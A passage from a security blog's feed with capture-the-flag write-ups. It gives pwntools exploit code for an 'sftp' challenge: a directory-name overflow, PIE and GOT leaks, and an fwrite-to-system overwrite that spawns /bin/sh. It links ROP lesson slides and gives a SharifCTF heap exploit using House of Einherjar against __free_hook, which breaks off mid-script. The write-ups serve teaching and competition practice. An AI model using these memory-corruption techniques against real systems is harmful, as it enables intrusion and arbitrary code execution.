<span class="n">home_entry</span><span class="p">.</span><span class="n">entry</span><span class="p">.</span><span class="n">parent_directory</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">home_entry</span><span class="p">.</span><span class="n">entry</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="s">"home"</span><span class="p">);</span>
<span class="n">root</span> <span class="o">=</span> <span class="o">&</span><span class="n">home_entry</span><span class="p">;</span>
<span class="n">home_entry</span><span class="p">.</span><span class="n">child_count</span> <span class="o">=</span> <span class="mi">1LL</span><span class="p">;</span>
<span class="n">user_entry_ptr</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="n">pwd</span> <span class="o">=</span> <span class="o">&</span><span class="n">home_entry</span><span class="p">;</span>
<span class="n">pwd</span> <span class="o">=</span> <span class="n">new_dir</span><span class="p">(</span><span class="n">username</span><span class="p">);</span> <span class="c1">//<<<<<<</span>
<span class="n">flag_entry</span> <span class="o">=</span> <span class="o">*</span><span class="n">new_entry</span><span class="p">(</span><span class="s">"flag"</span><span class="p">);</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">fake_flag_size</span><span class="p">;</span>
<span class="n">flag_entry</span><span class="o">-></span><span class="n">entry</span><span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">FILE_ENTRY</span><span class="p">;</span>
<span class="n">flag_entry</span><span class="o">-></span><span class="n">size</span> <span class="o">=</span> <span class="n">v1</span><span class="p">;</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">fake_flag_size</span><span class="p">;</span>
<span class="n">v4</span> <span class="o">=</span> <span class="p">(</span><span class="n">v2</span> <span class="o">&</span> <span class="mh">0x1FFFFFFF</span> <span class="o">|</span> <span class="mh">0x40000000LL</span><span class="p">);</span>
<span class="n">flag_entry</span><span class="o">-></span><span class="n">data</span> <span class="o">=</span> <span class="n">v4</span><span class="p">;</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="o">&</span><span class="n">fake_flag_content</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">flag_entry</span><span class="o">-></span><span class="n">size</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v5</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="n">v6</span> <span class="o">=</span> <span class="o">&</span><span class="n">flag_entry</span><span class="o">-></span><span class="n">data</span><span class="p">[</span><span class="n">v5</span><span class="o">++</span><span class="p">];</span>
<span class="o">*</span><span class="n">v6</span> <span class="o">^=</span> <span class="mh">0x89u</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">flag_entry</span><span class="o">-></span><span class="n">size</span> <span class="o">></span> <span class="n">v5</span> <span class="p">);</span>
<span class="p">}</span>
<span class="n">new_dir_no_parent</span><span class="p">(</span><span class="s">"src"</span><span class="p">);</span>
<span class="n">v7</span> <span class="o">=</span> <span class="o">*</span><span class="n">new_entry</span><span class="p">(</span><span class="s">"src/sftp.c"</span><span class="p">);</span>
<span class="n">v8</span> <span class="o">=</span> <span class="n">sftp_c_size</span><span class="p">;</span>
<span class="n">v7</span><span class="o">-></span><span class="n">entry</span><span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">FILE_ENTRY</span><span class="p">;</span>
<span class="n">v7</span><span class="o">-></span><span class="n">size</span> <span class="o">=</span> <span class="n">v8</span><span class="p">;</span>
<span class="n">v9</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
<span class="n">v10</span> <span class="o">=</span> <span class="n">sftp_c_size</span><span class="p">;</span>
<span class="n">v11</span> <span class="o">=</span> <span class="p">(</span><span class="n">v9</span> <span class="o">&</span> <span class="mh">0x1FFFFFFF</span> <span class="o">|</span> <span class="mh">0x40000000LL</span><span class="p">);</span>
<span class="n">v7</span><span class="o">-></span><span class="n">data</span> <span class="o">=</span> <span class="n">v11</span><span class="p">;</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">v11</span><span class="p">,</span> <span class="o">&</span><span class="n">xored_sftp_c</span><span class="p">,</span> <span class="n">v10</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v7</span><span class="o">-></span><span class="n">size</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">result</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="n">v13</span> <span class="o">=</span> <span class="n">result</span> <span class="o">+</span> <span class="n">v7</span><span class="o">-></span><span class="n">data</span><span class="p">;</span>
<span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
<span class="o">*</span><span class="n">v13</span> <span class="o">^=</span> <span class="mh">0x37u</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v7</span><span class="o">-></span><span class="n">size</span> <span class="o">></span> <span class="n">result</span> <span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you can see the user directory is created with new_dir as a regular directory (with the parent directory = home_entry).</p>
<p>The user_entry address is also the first address returned by malloc.
We can predict it in the following manner:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">libc</span> <span class="o">=</span> <span class="n">CDLL</span><span class="p">(</span><span class="s">'libc.so.6'</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">srand</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()))</span>
<span class="n">malloc</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="mh">0x40000000</span> <span class="o">|</span> <span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">rand</span><span class="p">()</span> <span class="o">&</span> <span class="mh">0x01fffffff</span><span class="p">)</span>
<span class="n">user_entry_addr</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">()</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Predicted user entry @ 0x{:08x}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">user_entry_addr</span><span class="p">))</span>
</code></pre></div></div>
<p>We must do this also for the other addresses returned by malloc that we want to predict simply invoking the malloc lambda in the script the same times as malloc is called in the binary.</p>
<p>The home_entry structure is in <code class="language-plaintext highlighter-rouge">.data</code>, so we can use the address of the user directory as the fake entry to leak the home_entry address and bypass PIE.</p>
<p>So let’s write a piece of code to leak PIE (using pwntools):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">prog</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">'Putting fake leak entry'</span><span class="p">)</span>
<span class="n">leak_entry</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># parent_directory, don't care
</span><span class="n">leak_entry</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="c1"># type = FILE_ENTRY
</span><span class="n">leak_entry</span> <span class="o">+=</span> <span class="s">'leak'</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">20</span><span class="p">,</span> <span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span> <span class="c1"># name
</span><span class="n">leak_entry</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="c1"># size = 8
</span><span class="n">leak_entry</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">user_entry_addr</span><span class="p">)</span> <span class="c1"># data = user_entry_addr->parent_directory
# printing the content of leak will print the home_entry address (in .bss)
</span><span class="n">put_file</span><span class="p">(</span><span class="s">'leak_entry'</span><span class="p">,</span> <span class="n">leak_entry</span><span class="p">)</span>
<span class="n">prog</span><span class="p">.</span><span class="n">success</span><span class="p">()</span>
<span class="n">prog</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">'Overflowing directory (leak)'</span><span class="p">)</span>
<span class="n">dirname</span> <span class="o">=</span> <span class="s">'A'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">17</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span> <span class="c1"># name + size + 17 entry*
</span><span class="n">dirname</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">leak_entry_addr</span><span class="p">)</span> <span class="c1"># 18th fake entry
</span><span class="n">send_cmd</span><span class="p">(</span><span class="s">'mkdir '</span> <span class="o">+</span> <span class="n">dirname</span><span class="p">)</span>
<span class="n">prog</span><span class="p">.</span><span class="n">success</span><span class="p">()</span>
<span class="n">prog</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">'Triggering directory reallocation (leak)'</span><span class="p">)</span>
<span class="n">trunc_dirname</span> <span class="o">=</span> <span class="s">'A'</span><span class="o">*</span><span class="mi">20</span> <span class="o">+</span> <span class="s">'</span><span class="se">\x10</span><span class="s">'</span> <span class="c1"># ls command list the directory with a truced name
</span><span class="n">send_cmd</span><span class="p">(</span><span class="s">'cd '</span> <span class="o">+</span> <span class="n">trunc_dirname</span><span class="p">)</span>
<span class="c1"># the first 17 entries are zeored with memset, we must insert dummy entries to reach the 18th entry
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">17</span><span class="p">):</span>
<span class="n">put_file</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s">'A'</span><span class="p">)</span>
<span class="n">prog</span><span class="p">.</span><span class="n">success</span><span class="p">()</span>
<span class="n">prog</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">'Leaking binary base'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">get_file</span><span class="p">(</span><span class="s">'leak'</span><span class="p">)</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x208be0</span>
<span class="n">prog</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="s">'@ 0x{:012x}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">base</span><span class="p">))</span>
</code></pre></div></div>
<p>With a leak of the base address we can repeat the previous procedure to print values from the GOT and try to find the libc.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">prog</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">'Putting fake GOT entry'</span><span class="p">)</span>
<span class="n">got_entry</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># parent_directory, don't care
</span><span class="n">got_entry</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="c1"># type = FILE_ENTRY
</span><span class="n">got_entry</span> <span class="o">+=</span> <span class="s">'got'</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">20</span><span class="p">,</span> <span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span> <span class="c1"># name
</span><span class="n">got_entry</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span> <span class="c1"># size
</span><span class="n">got_entry</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="mh">0x205018</span> <span class="o">+</span> <span class="mi">192</span><span class="p">)</span> <span class="c1"># data = start of GOT + 192 (frwite entry)
</span><span class="n">put_file</span><span class="p">(</span><span class="s">'got_entry'</span><span class="p">,</span> <span class="n">got_entry</span><span class="p">)</span>
<span class="n">prog</span><span class="p">.</span><span class="n">success</span><span class="p">()</span>
<span class="n">prog</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">'Overflowing directory (GOT)'</span><span class="p">)</span>
<span class="n">dirname</span> <span class="o">=</span> <span class="s">'B'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">17</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span> <span class="c1"># name + size + 17 entry*
</span><span class="n">dirname</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">got_entry_addr</span><span class="p">)</span> <span class="c1"># 18th fake entry
</span><span class="n">send_cmd</span><span class="p">(</span><span class="s">'mkdir '</span> <span class="o">+</span> <span class="n">dirname</span><span class="p">)</span>
<span class="n">prog</span><span class="p">.</span><span class="n">success</span><span class="p">()</span>
<span class="n">prog</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">'Triggering directory reallocation (GOT)'</span><span class="p">)</span>
<span class="n">trunc_dirname</span> <span class="o">=</span> <span class="s">'B'</span><span class="o">*</span><span class="mi">20</span> <span class="o">+</span> <span class="s">'</span><span class="se">\x10</span><span class="s">'</span>
<span class="n">send_cmd</span><span class="p">(</span><span class="s">'cd '</span> <span class="o">+</span> <span class="n">trunc_dirname</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">17</span><span class="p">):</span>
<span class="n">put_file</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s">'A'</span><span class="p">)</span>
<span class="n">prog</span><span class="p">.</span><span class="n">success</span><span class="p">()</span>
<span class="n">got</span> <span class="o">=</span> <span class="n">get_file</span><span class="p">(</span><span class="s">'got'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">got</span><span class="p">),</span> <span class="mi">8</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">got</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">])))</span>
</code></pre></div></div>
<p>With this snippet we can print the address of fwrite and rand, the last 2 GOT entries.</p>
<p>With a quick lookup in our libc database I found that we have a match with Ubuntu GLIBC 2.23-0ubuntu9 (you can found it in the attached zip file)</p>
<p>What’s next? With the fake entry for the got that we have created before we can use put_file to overwrite the fwrite entry with system.</p>
<p>fwrite is used in writen and writen is called in handle_get.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">handle_get</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">path</span><span class="p">)</span> <span class="p">{</span>
<span class="n">file_entry</span><span class="o">*</span> <span class="n">file</span> <span class="o">=</span> <span class="n">find_file</span><span class="p">(</span><span class="n">path</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%zu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">file</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="n">writen</span><span class="p">(</span><span class="n">file</span><span class="o">-></span><span class="n">data</span><span class="p">,</span> <span class="n">file</span><span class="o">-></span><span class="n">size</span><span class="p">);</span> <span class="c1">//calls fwrite(file->data, ...)</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"File </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s"> not found.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>So if fwrite() is now in fact system() and the argument passed to the call in writen is file->data we must create a file that contains the command that we want execute.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">libc_bin</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">got</span><span class="p">[:</span><span class="mi">8</span><span class="p">])</span> <span class="o">-</span> <span class="n">libc_bin</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">"fwrite"</span><span class="p">]</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"libc base address: 0x%x"</span> <span class="o">%</span> <span class="n">libc_bin</span><span class="p">.</span><span class="n">address</span><span class="p">)</span>
<span class="n">put_file</span><span class="p">(</span><span class="s">"cmd"</span><span class="p">,</span> <span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
<span class="n">target</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_bin</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">"system"</span><span class="p">])</span>
<span class="n">put_file</span><span class="p">(</span><span class="s">"got"</span><span class="p">,</span> <span class="n">target</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"get cmd"</span><span class="p">)</span> <span class="c1">#system("/bin/sh")
</span></code></pre></div></div>
<p>And win!</p>
<p><img src="https://mhackeroni.it/assets/img/sftp_writeup/sftp_8.png" alt="sftp_8" width="100%" /></p>
<p>In the following link to a zip file you can find the sftp.c source code, the sftp binary, the full exploit, the libc binary and the header that must be imported in IDA.</p>
<p>Attachment: <a href="https://drive.google.com/file/d/1O0-QFmp7KQ1ojANU5y75ouv6hFhm4QD0/view?usp=sharing">https://drive.google.com/file/d/1O0-QFmp7KQ1ojANU5y75ouv6hFhm4QD0/view?usp=sharing</a></p>
Rop Lesson - CC 182018-04-04T00:00:00+00:00https://andreafioraldi.github.io/cyberchallenge/2018/04/04/rop-lesson<p>The slides for the CyberChallenge 2018 lesson about ROP exploit development:</p>
<style>
.responsive-wrap iframe { max-width: 100%;}
</style>
<div class="responsive-wrap">
<iframe src="https://docs.google.com/presentation/d/e/2PACX-1vQ6pJZpggLSMPbbadn_G4rgWuftS_75XGWwL9N1Fcd8PYUYevznKpqNtUV4XcPiPq5-h1s1NWK15H09/embed?start=false&loop=false&delayms=60000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>
</div>
SharifCTF 8 - t00p_secrets2018-02-04T00:00:00+00:00https://andreafioraldi.github.io/ctf/2018/02/04/t00p_secrets<blockquote>
<p>Crosspost from the <a href="https://theromanxpl0it.github.io/ctf_sharifctf18/t00p_secrets/">TRX website</a></p>
</blockquote>
<p>Decompiling the binary we can discover the master key.
Running the program the output is this:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./t00p_secrets
Welcome to SUCTF secret management service
Enter your master key: wjigaep<span class="p">;</span>r[jg]ahrg[es9hrg
1. Create a secret
2. Delete a secret
3. Edit a secret
4. Print secret
5. Print a secret
6. Exit
<span class="o">></span>
</code></pre></div></div>
<p>There are six options: create, delete, edit… ok it’s a heap pwn.</p>
<p>Exploring the create and edit options we can see that the content of a secret can be a string or a binary data.</p>
<p>The function that reads the content of a secret is the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">read_content</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="kt">signed</span> <span class="n">__int64</span> <span class="n">size</span><span class="p">,</span> <span class="kr">__int16</span> <span class="n">is_string</span><span class="p">)</span>
<span class="p">{</span>
<span class="kr">__int16</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-24h]</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+24h] [rbp-Ch]</span>
<span class="n">v4</span> <span class="o">=</span> <span class="n">is_string</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">size</span> <span class="o">></span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">dest</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="p">)</span>
<span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">dest</span> <span class="o">+</span> <span class="n">v5</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">//overflow if v5==size</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Note: dest is a buffer allocated with <code class="language-plaintext highlighter-rouge">malloc(size)</code>.</p>
<p>The bug is here. If the user choice is that a secret content is a string there is an off-by-one overflow due to the string terminator.</p>
<p>House of Einherjar can be used to force malloc to return a pointer near an area where you can write.</p>
<p>The idea is to force malloc to return a pointer near the global variable <code class="language-plaintext highlighter-rouge">ptr + 0xA</code> in .data (where the program stores the pointers to the secrets contents) so we can write the address of <code class="language-plaintext highlighter-rouge">__free_hook</code> (not a GOT entry beacause there is Full RELRO) in that area and then use edit to write in <code class="language-plaintext highlighter-rouge">__free_hook</code>.</p>
<p>Firstly I used the overflow to crash the program and retrieve some offsets of libc symbols from the crash dump.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">create</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">24</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">24</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"a"</span><span class="o">*</span><span class="mi">24</span><span class="p">)</span> <span class="c1">#overflow, write 0 to the last byte of the size field in the chunck 1
</span><span class="n">delete</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1">#free search for a free chunck in [address of 1] + 0xaaaaaaaa, so it crashes with 'free(): invalid pointer'
</span></code></pre></div></div>
<p>Using libc database I found that the service is using libc6_2.23-0ubuntu10_amd64.so.</p>
<p>Let’s write the exploit.</p>
<p>In the main procedure we can see that there is an hidden option, the seventh, that can be used to change the master key (24 bytes).</p>
<p>The master key is in data, above our target <code class="language-plaintext highlighter-rouge">ptr + 0xA</code>.</p>
<p>Perfect.</p>
<p>I used master key to forge a fake chunck. But there is a problem: a malloc chunck is 48 bytes.</p>
<p>So i decided to put in master_k only a part of the chunck, size + fd + bk.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">malloc_chunk</span> <span class="p">{</span>
<span class="n">INTERNAL_SIZE_T</span> <span class="n">prev_size</span><span class="p">;</span>
<span class="n">INTERNAL_SIZE_T</span> <span class="n">size</span><span class="p">;</span> <span class="c1">//set to 0</span>
<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd</span><span class="p">;</span> <span class="c1">//set to fake chunck address (master_k -8)</span>
<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk</span><span class="p">;</span> <span class="c1">//set to fake chunck address (master_k -8)</span>
<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd_nextsize</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk_nextsize</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>To prevent a corrupted prev_size vs. size crash also the other fields must be setted to 0.</p>
<p>But <code class="language-plaintext highlighter-rouge">master_k</code>, after the program start, is -1. <code class="language-plaintext highlighter-rouge">fd_nextsize</code> and <code class="language-plaintext highlighter-rouge">bk_nextsize</code> are 0, but if I used the secrets 0 and 1 they will be dirty.</p>
<p>Before master_k the program writes the size of each secret. So to have a valid fake chunck we must do two things:</p>
<ul>
<li>never allocate the 0 and 1 secrets (whe have other 6 slots to use)</li>
<li>create the secret 7 with size 0, so prev_size is 0</li>
</ul>
<p>Ok now to force free to consider the fake chunck a valid free chunck we must have the offset between the overflowed chunck and the fake chunck.</p>
<p>An heap leak is needed.</p>
<p>Fortunately when a secret is deleted the heap is not cleared, so we can leak the fd pointer allocating a previous free chunk.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">create</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">24</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">248</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">24</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="n">val</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="n">heap_leak</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x20</span><span class="s">"</span> <span class="o">+</span> <span class="n">print_one</span><span class="p">(</span><span class="mi">4</span><span class="p">)[</span><span class="mi">1</span><span class="p">:</span><span class="mi">8</span><span class="p">]</span> <span class="c1">#fd pointer of the secret 4 points to the secret 2 (0x20 is needed because the last byte is overwritted by newline)
</span></code></pre></div></div>
<p>The chunck that will be manipulated is the second (secret 3), at address <code class="language-plaintext highlighter-rouge">heap_leak + 24</code>.</p>
<p>Using edit we set the prev_size of this chunck to the offset between it and the fake chunck.</p>
<p>Calling delete on it will force malloc to use the fake chunck as the next chunck to be allocated (if the size match).</p>
<p>We must change again master_k to set the fake chunck size to 0x100.</p>
<p>Now <code class="language-plaintext highlighter-rouge">malloc(248)</code> returns the fake chunck address + 16.</p>
<p>OKKKK whe can write on the memory after master_k now! Specifically in <code class="language-plaintext highlighter-rouge">ptr + 0xA</code>.</p>
<p>But before we need a lib leak.</p>
<p>Just print the new chunck to get an address from the main arena (free has rewritten fd with it).</p>
<p>The last phase is to overwrite the pointer to already created secret content with <code class="language-plaintext highlighter-rouge">__free_hook</code>, use edit and write the magic gadget address in <code class="language-plaintext highlighter-rouge">__free_hook</code>, call free and win.</p>
<p>Download the binary <a href="/assets/sharifctf18/t00p_secrets">here</a>.
Full exploit code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#TheRomanXpl0it - andreafioraldi
</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="c1">#########################################################
</span><span class="n">BINARY</span><span class="o">=</span><span class="s">"./t00p_secrets"</span>
<span class="n">HOST</span><span class="o">=</span><span class="s">"ctf.sharif.edu"</span>
<span class="n">PORT</span><span class="o">=</span><span class="mi">22107</span>
<span class="n">ENV</span><span class="o">=</span><span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc6_2.23-0ubuntu10_amd64.so"</span><span class="p">}</span>
<span class="n">GDB</span><span class="o">=</span><span class="s">""</span>
<span class="c1">#########################################################
</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"args: bin|net|crash|ida|gdb</span><span class="se">\n</span><span class="s">"</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">if</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">"bin"</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">BINARY</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">ENV</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">"net"</span> <span class="ow">or</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">"crash"</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
